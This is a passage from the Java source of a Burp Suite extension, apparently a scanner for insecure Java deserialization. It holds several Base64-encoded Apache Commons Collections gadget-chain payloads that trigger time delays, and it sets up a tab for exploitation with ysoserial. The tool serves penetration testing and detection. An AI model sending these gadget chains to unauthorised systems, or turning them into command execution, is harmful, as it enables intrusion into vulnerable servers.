package burp;

import java.awt.Color;
import java.awt.Component;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.StringTokenizer;
import java.util.concurrent.TimeUnit;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
import java.util.zip.DeflaterOutputStream;
import java.net.URLEncoder;

import javax.swing.BoxLayout;
import javax.swing.DefaultListModel;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JComboBox;
import javax.swing.JEditorPane;
import javax.swing.JLabel;
import javax.swing.JList;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JSeparator;
import javax.swing.JSplitPane;
import javax.swing.JTabbedPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.SwingUtilities;
import javax.swing.border.LineBorder;
import javax.swing.text.BadLocationException;
import javax.swing.text.DefaultHighlighter;
import javax.swing.text.Highlighter;
import javax.swing.text.Highlighter.Highlight;
import javax.swing.text.Highlighter.HighlightPainter;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.ArrayUtils;
import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.codec.binary.Hex;

public class BurpExtender implements IBurpExtender, IScannerCheck, ITab, ActionListener, IContextMenuFactory,IMessageEditorController {
	
    private IBurpExtenderCallbacks callbacks;
    private IExtensionHelpers helpers;
    
    private PrintWriter stdout;
    private PrintWriter stderr;
    
    private byte[] serializeMagic = new byte[]{-84, -19};
    private byte[] base64Magic = {(byte)0x72, (byte)0x4f, (byte)0x30, (byte)0x41};
    private byte[] asciiHexMagic = {(byte)0x61, (byte)0x63, (byte)0x65, (byte)0x64};
    
    private byte[] gzipMagic = {(byte)0x1f, (byte)0x8b};
    private byte[] base64GzipMagic = {(byte)0x48, (byte)0x34, (byte)0x73, (byte)0x49};

    private HashMap<String,byte[]> payloadsSleep;
    private HashMap<String,byte[]> payloadsDNS;
    private byte[] payloadSerialDosLimited;
    private byte[] payloadURLDNS;
    
    // This is necessary because these payloads requires further modifications
    private ArrayList<String> payloadsDNStemplateImpl;
    
    private String rceIssue;
    private String rceSeverity;
    private String rceConfidenceSleep;
    private String rceConfidenceDns;
    private String rceIssueDetail;
    private String rceIssueVulnerableLibrary;
    private String rceIssueDetailVulnerableLibrary;
    
    private String passiveScanIssue;
    private String passiveScanSeverity;
    private String passiveScanConfidence;
    private String passiveScanIssueDetail;
    
    private String activeDetectionIssue;
    private String activeDetectionSeverity;
    private String activeDetectionConfidenceDns;
    private String activeDetectionConfidenceSleep;
    private String activeDetectionIssueDetails;
    
    private String remediationDetail;
    private String issueDetailTimeWarning;     
    
    private JPanel mainPanelManualTesting;
    private JSplitPane splitPaneManualTesting;
    private JTextArea requestAreaManualTesting;
    private JTextField hostManualTesting;
    private JTextField portManualTesting;
    private JCheckBox useHttpsManualTesting;
    private JEditorPane resultAreaManualTesting;
    private JCheckBox enableActiveScanSleepChecks;
    private JCheckBox enableActiveScanDNSChecks;
    private JCheckBox enableActiveScanURLDNSChecks;
    //private JCheckBox aggressiveMode;
    private JCheckBox verboseModeManualTesting;
    private JCheckBox addManualIssueToScannerResultManualTesting;
    private JButton attackButtonManualTesting;
    private JCheckBox enableExploitationHibernate5;
    private JLabel labelExploitingBottom;
    
    private JPanel mainPanelExploiting;
    private JSplitPane splitPaneExploiting;
    private JTextArea requestAreaExploitingTop;
    private JTextArea requestAreaExploitingBottom;
    private JTextField hostExploiting;
    private JTextField portExploiting;
    private JCheckBox useHttpsExploiting;
    private IMessageEditor resultAreaExploitingTopRequest;
    private IMessageEditor resultAreaExploitingTopResponse;
    private JButton attackButtonExploiting;
    private JTextArea resultAreaExploitingBottom;
    
    private JComboBox<String> typeManualTest;
    
    private DefaultListModel<Transformation> transformationsListManualTestingModel;
    private JList transformationsManualTestingList;
    private DefaultListModel<Transformation> addedTransformationsManualTestingListModel;
    private JList addedTransformationsManualTestingList;
    
    private DefaultListModel<Transformation> transformationsListExploitationModel;
    private JList transformationsExploitationList;
    private DefaultListModel<Transformation> addedTransformationsExploitationListModel;
    private JList addedTransformationsExploitationList;
        
    private JPanel mainPanelConfiguration;
    
    private JTabbedPane mainPanel;
    
    private JTextField ysoserialPath;
    
    private String dialogTitle;
    private String dialogMessage;
    private String[] dialogButtonsMessages;
    
    private IHttpRequestResponse[] selectedItems;
    
    private ArrayList<String> urlBodyAlreadyScanned;
    
    private char insertionPointChar;
    
    private IHttpRequestResponse currentExploitationRequestResponse;
    
    private enum Transformation {
        GZIP {
            public String toString() { return "Compress using gzip"; }
            protected OutputStream getCompressor(OutputStream os) throws IOException {
                return new GZIPOutputStream(os);
            }
        },
        ZLIB {
            public String toString() { return "Compress using zlib"; }
            protected OutputStream getCompressor(OutputStream os) throws IOException {
                return new DeflaterOutputStream(os);
            }
        },
        BASE64 {
            public String toString() { return "Encode using Base64"; }
            public byte[] transform(byte[] input) throws IOException { return Base64.encodeBase64(input); }
        },
        BASE64_URL_SAFE {
            public String toString() { return "Encode using URL-safe Base64"; }
            public byte[] transform(byte[] input) throws IOException { return Base64.encodeBase64URLSafe(input); }
        },
        ASCII_HEX {
            public String toString() { return "Encode using ASCII hex"; }
            public byte[] transform(byte[] input) throws IOException { return hex.encode(input); }
			private Hex hex = new Hex("ASCII");
        },
        URL_ENCODING {
            public String toString() { return "Encode using URL encoding"; }
            public byte[] transform(byte[] input) throws IOException {
                return URLEncoder.encode(new String(input, "ISO-8859-1"), "ISO-8859-1").getBytes();
            }
        };

        protected OutputStream getCompressor(OutputStream os) throws IOException { return null; }
        public byte[] transform(byte[] input) throws IOException {
            ByteArrayOutputStream outbytes = new ByteArrayOutputStream(input.length);
            OutputStream comp = getCompressor(outbytes);
            comp.write(input);
            comp.close();
            return outbytes.toByteArray();
        }
    }

    static final int TYPE_RAW = 0;
    static final int TYPE_BASE64 = 1;
    static final int TYPE_ASCII_HEX = 2;
    static final int TYPE_BASE64GZIP = 3;
    static final int TYPE_GZIP = 4;
    
    static final String TEST_SLEEP = "Sleep";
    static final String TEST_DNS = "DNS (vuln libraries)";
    static final String TEST_URLDNS = "DNS (JRE only)";
    static final String TEST_CPU = "CPU";
    static final String[] TEST_TYPES = new String[]{TEST_SLEEP, TEST_DNS, TEST_URLDNS, TEST_CPU};
    
        
    /*
     * TODO
     * - ZLIB in automatic scanner?
     * - Add Base64+URL to automatic scanner
     * - Add pane in which choose order of compressions and transformations
     * - Fix issue vector location (seems to be correct)
     * - Check timoeout Burp in CPU payload
     * - This version active check for Deserialization Vulnerability IF AND ONLY IF
     * the base value is already a serialized Java Object. Maybe can be useful to add
     * a further mode in which the vulnerability is checked on every parameter, despite
     * on its base value (Aggressive mode).
     * - Maybe search also in headers (I don't know if Burp set all headers as insertion
     * points...)
     */    
    
    public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks)
    {
        // Keep a reference to our callbacks object
        this.callbacks = callbacks;
        
        // Obtain an extension helpers object
        helpers = callbacks.getHelpers();
        
        // Set our extension name
        callbacks.setExtensionName("Java Deserialization Scanner");
        
        // Register ourselves as a custom scanner check
        callbacks.registerScannerCheck(this);
        
        //register to produce options for the context menu
        callbacks.registerContextMenuFactory(this);
        
        // Initialize stdout and stderr
        stdout = new PrintWriter(callbacks.getStdout(), true);
        stderr = new PrintWriter(callbacks.getStderr(), true);  
        
        // Initialize the payloads
        
        payloadsSleep = new HashMap<String,byte[]>();
        payloadsSleep.put("Apache Commons Collections 3 (Sleep)", Base64.decodeBase64("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACdXEAfgAeAAAAAXEAfgAhdXEAfgAbAAAAAXNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAnEHQABmludm9rZXVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABtzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHEAfgAsAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA5"));
        payloadsSleep.put("Apache Commons Collections 3 Alternate payload (Sleep)", Base64.decodeBase64("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABhMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAyADMHADEBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjI2NzQwMzEyODkyMDY4NgEAIEx5c29zZXJpYWwvUHduZXIyNjc0MDMxMjg5MjA2ODY7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAJQASAAAADAABAAAABQATADIAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAACgAEgAAACAAAwAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAACsAEgAAACoABAAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAIgADAAIAAAANpwADAUwRJxCFuAAvsQAAAAEAMAAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4AIwAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgAu"));
        payloadsSleep.put("Apache Commons Collections 3 Alternate payload 2 (Sleep)", Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAATXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAAXEAfgANcQB-AA5xAH4AD3NxAH4ACwAAACZ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0_A8lMbXsjhACAAFMAARsaXN0cQB-AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR_bAgACTAADa2V5cQB-AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB-AAF4cHZyABBqYXZhLmxhbmcuVGhyZWFkAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh-j_a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB-ADJzcQB-ACt1cQB-AC8AAAACdXEAfgAyAAAAAXEAfgA1dXEAfgAvAAAAAXNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAnEHQABmludm9rZXVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB-AC9zcQB-ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHEAfgBAAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg"));
        payloadsSleep.put("Apache Commons Collections 3 Alternate payload 3 (Sleep)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABBqYXZhLmxhbmcuVGhyZWFkAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAFc2xlZXB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAEbG9uZwAAAAAAAAAAAAAAeHB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnVxAH4AGwAAAAFxAH4AHnVxAH4AGAAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAAAAJxB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhxAH4AKQAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA=="));
